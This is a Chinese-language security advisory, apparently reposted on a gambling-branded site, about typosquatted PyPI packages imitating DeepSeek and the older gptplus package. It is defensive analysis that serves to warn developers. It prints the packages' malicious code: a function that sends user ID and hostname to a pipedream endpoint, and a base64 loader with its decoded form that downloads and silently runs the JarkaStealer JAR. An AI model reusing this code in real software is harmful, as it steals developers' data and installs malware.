织梦CMS - 轻松建站从此开始!

abg欧博官网|登陆|游戏|

当前位置: abg欧博官网|登陆|游戏| > 欧博平台 > 文章页

警惕针对DeepSeek的开源软件供应链攻击

时间:2025-02-15 00:38来源: 作者:admin 点击: 18 次
”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

自从2024年12月26日deepseek V3发布之后,开源生态中出现了大量与其相关的软件包,大多数为工具类软件包。但天问监测模块发现了其中潜藏的部分恶意攻击包,通过包名伪造来诱导用户下载,窃取用户隐私信息。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

伪造deepseek包名攻击

自从2024年12月26号人工智能模型deepseek V3发布之后,其优异的表现吸引了大量开发者使用。同时在开源生态中也出现了许多与deepseek相关的软件工具包。但在这些软件包中也潜藏着部分不怀好意的攻击者上传的恶意包。

2025年1月29号,“天问”监测系统在PyPI中发现了两个利用伪造deepseek包名欺骗用户下载的恶意包,deepseeek和deepseekai。这两个软件包均由同一个用户bvk发布。两个包的核心代码一致,均是利用网络连接回传用户隐私信息,包括主机名,环境变量等。而用户的环境变量中常常会存在Token、API Key等敏感数据,这些数据的泄漏会给用户造成严重的损失。具体恶意攻击代码如下所示:

deepseeek-0.0.8/deepséek/main.py

1234567891011121314151617   def send_get_request():url ="https[:]//eoyyiyqubj7mquj.m.pipedream.net"try:user_id = os.popen("id").read().strip()# Attempt to get user ID with id commandifnot user_id:user_id = os.popen("whoami").read().strip()# Fallback to whoami if id failshostname = os.uname().nodename# Get system hostnameenv = os.getenv("ENV","prod")# Get environment variable or default to prodpayload = {"user_id": user_id,"hostname": hostname,"env": env}response = requests.post(url, json=payload, verify=False)except requests.exceptions.RequestException:pass# Silently ignore any request errorsdef main():send_get_request()  

deepseeek-0.0.8/setup.py

1234567891011121314   setup(name="deepseeek",version=VERSION,description="deepseeek API client",long_description="deepseeek",...entry_points={"console_scripts": ["deepseeek=deepseeek.main:main",],},...)  

从setup.py的设置可知,这个恶意包原本的触发方式应该为用户安装之后在命令行误输入deepseeek进行触发。但目前恶意包的配置无法完成这一攻击,猜测可能属于攻击试验阶段。

开源生态分析

我们对各个生态中与deepseek相关的软件进行了统计分析,具体情况如下所示。

【pypi生态】

我们统计了deepseek V3发布之后的Python包,其中包名相近(字符串余弦相似度>=0.8)的软件包有9个,如下所示,其中2个为上文提及的恶意软件包,其余目前均不包含恶意代码。

1   "llm-deepseek", "deepseek-r1", "deepseek-cli", "deepseeek", "deepspeed", "deepseekai", "deepseek.py", "deepseek-sdk", "deepseek-ai"  

名字中包含deepseek字段的软件包25个,metadata中包含deepseek字段的软件包数量为242个,多为工具类的软件包。

另外值得警惕的是,目前PyPI中的deepseek软件包的开发者为deskpai,并非官方开发者,该软件包最近的最高日下载量已经超过2000。

【npm生态】

在npm生态中,也存在与PyPI中已发现的恶意包相同名称的软件包deepseekai 和 deepseek,但是经过研究人员的分析,这两个软件包中的代码仅仅是对deepseek api调用的包装,并未存在其他可疑的恶意代码。但值得注意的是,在npm生态中,软件包deepseekai的发布者snowyjs使用了匿名邮箱Playmeme@protonmail.com 进行发布 , 开发者在使用、升级该软件包时,建议审慎检查相关代码是否存在异常。

自2024年12月1日以来,在npm 生态中发现了401个与deepseek相关的软件包,其中相似度较高的部分名称如下:

1   "deepseek", "deepseekai", "deepseek-api", "deepseekjs", "deepseek-sdk", "deepseek-cli", "@ai-sdk/deepseek", "@promptbook/deepseek"  

【不同生态趋势图】

过去两个月中,各大开源生态中陆续出现与deepseek相关的软件包,根据我们的监测分析,其中PyPI,npm以及Go这三个个生态出现明显的数量增加趋势。这些软件包大多为开发者基于deepseek api 构建的工具类软件包。

值得注意的是,近日已经出现了针对PyPI生态投毒的deepseekai 恶意包,该恶意软件包会窃取开发者隐私信息,根据软件供应链的攻击特性来看,近期各大生态中都有可能陆续出现相似地攻击事件,对使用deepseek构建AGI应用的开发者及下游用户产生影响。

针对其他AI工具的恶意攻击

针对流行的AI工具的开源生态攻击事件此前也有发生过。2023 年 11 月,名为Xeroline的用户向 PyPI 上传了两个名为 gptplus 和 claudeai-eng 的恶意软件包。

例如,gptplus的介绍页面提供了chatgpt的使用接口,让用户误认为其使用了chatgpt接口。

README.MD

123456789101112131415161718192021   ## Installation```pip install gptplus```## Usage```pythonfrom gptplus import ChatGPTchatgpt = ChatGPT()chat_id = chatgpt.create_chat()response = chatgpt.send_message(chat_id, "What is the capital of France?")print(response)chatgpt.delete_chat(chat_id)```  

但其实际调用的并非ChatGPT官方的API,而是一个demo网站https://chat.chatgptdemo.net/new_chat。相关代码如下所示:

gptplus-2.2.0/gptplus/gptplus.py

12345678   class ChatGPT():...def create_chat(self):try:return self.s.post("https://chat.chatgptdemo.net/new_chat", json=self.json_data).json()["id_"]except:...  

而且,其在模块导入阶段加入了混淆恶意代码的执行,如下所示

gptplus-2.2.0/gptplus/__init__.py

123   from .gptplusimport ChatGPTfrom base64import b64decodeas decexec(dec("aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB1cmxsaWIucmVxdWVzdAppbXBvcnQgemlwZmlsZQppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHRocmVhZGluZwoKCmRlZiBkb3dubG9hZF90ZXN0X2phcih1cmwsIGphcl9maWxlX3BhdGgpOgogICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKGphcl9maWxlX3BhdGgpOgogICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKHVybCwgamFyX2ZpbGVfcGF0aCkKCgpkZWYgZGF1bmx1ZCgpOgogICAgaWYgcGxhdGZvcm0uc3lzdGVtKCkgPT0gIldpbmRvd3MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgdXJsID0gImh0dHBzOi8vZ2l0aHViL...MKCgp0aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1kYXVubHVkKQp0aHJlYWQuc3RhcnQoKQo=".encode()).decode())  

解码之后

12345678910111213141516171819202122232425262728293031323334353637383940414243   import osimport subprocessimport urllib.requestimport zipfileimport platformimport threadingdef download_test_jar(url, jar_file_path):ifnot os.path.exists(jar_file_path):urllib.request.urlretrieve(url, jar_file_path)def daunlud():if platform.system() =="Windows":try:url ="https[:]//github.com/imystorage/storage/raw/main/JavaUpdater.jar"jar_file_path = os.path.join(os.getenv("TEMP"),"test.jar")download_test_jar(url, jar_file_path)result = subprocess.run(["where","javaw.exe"], capture_output=True)if result.returncode !=0:jre_url ="https[:]//www.dropbox.com/scl/fi/hkl9jp9kgkk2qvdg4cvk2/jre-1.8.zip?rlkey=8p0fx0jb97p19yyjrqwx57asp&dl=1"jre_temp_path = os.path.join(os.getenv("TEMP"),"jre-1.8.zip")urllib.request.urlretrieve(jre_url, jre_temp_path)with zipfile.ZipFile(jre_temp_path,"r")as zip_ref:zip_ref.extractall(os.getenv("TEMP"))os.chdir(os.path.join(os.getenv("TEMP"),"jre-1.8","bin"))subprocess.Popen(["javaw.exe","-jar", jar_file_path],creationflags=subprocess.CREATE_NO_WINDOW)else:subprocess.Popen(["javaw.exe","-jar", jar_file_path],creationflags=subprocess.CREATE_NO_WINDOW)except:passthread = threading.Thread(target=daunlud)thread.start()  

其包含运行 JarkaStealer 恶意软件的恶意代码,通过下载和执行未知的 JAR 文件来实施潜在的攻击。

随着AI的不断发展,对于chatgpt、deepseek这类先进的AI工具的需求将会越来越高。开源生态中相关的工具包也会爆发式地增长。与之而来的是各种软件供应链攻击,攻击者也会尝试通过包名伪造等手段来隐藏自己,完成后门植入,信息窃取等攻击目的。对于用户而言,需要谨慎使用开源生态中的第三方软件包,提前检验相关源代码,避免受到相关攻击。“天问”软件安全监测模块也会持续监测报告相关问题,帮助用户防御此类安全风险。

恶意包列表

奇安信技术研究院是专注于网络空间安全相关技术的研究机构,聚焦网络空间安全领域基础性或前沿性的研究课题,结合国家和社会的实际需求,开展创新性和实践性的技术研究。

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

声明:本文来自奇安信技术研究院,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。

(责任编辑:)
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:
发布者资料
查看详细资料 发送留言 加为好友 用户等级: 注册时间:2025-05-18 07:05 最后登录:2025-05-18 07:05
栏目列表
推荐内容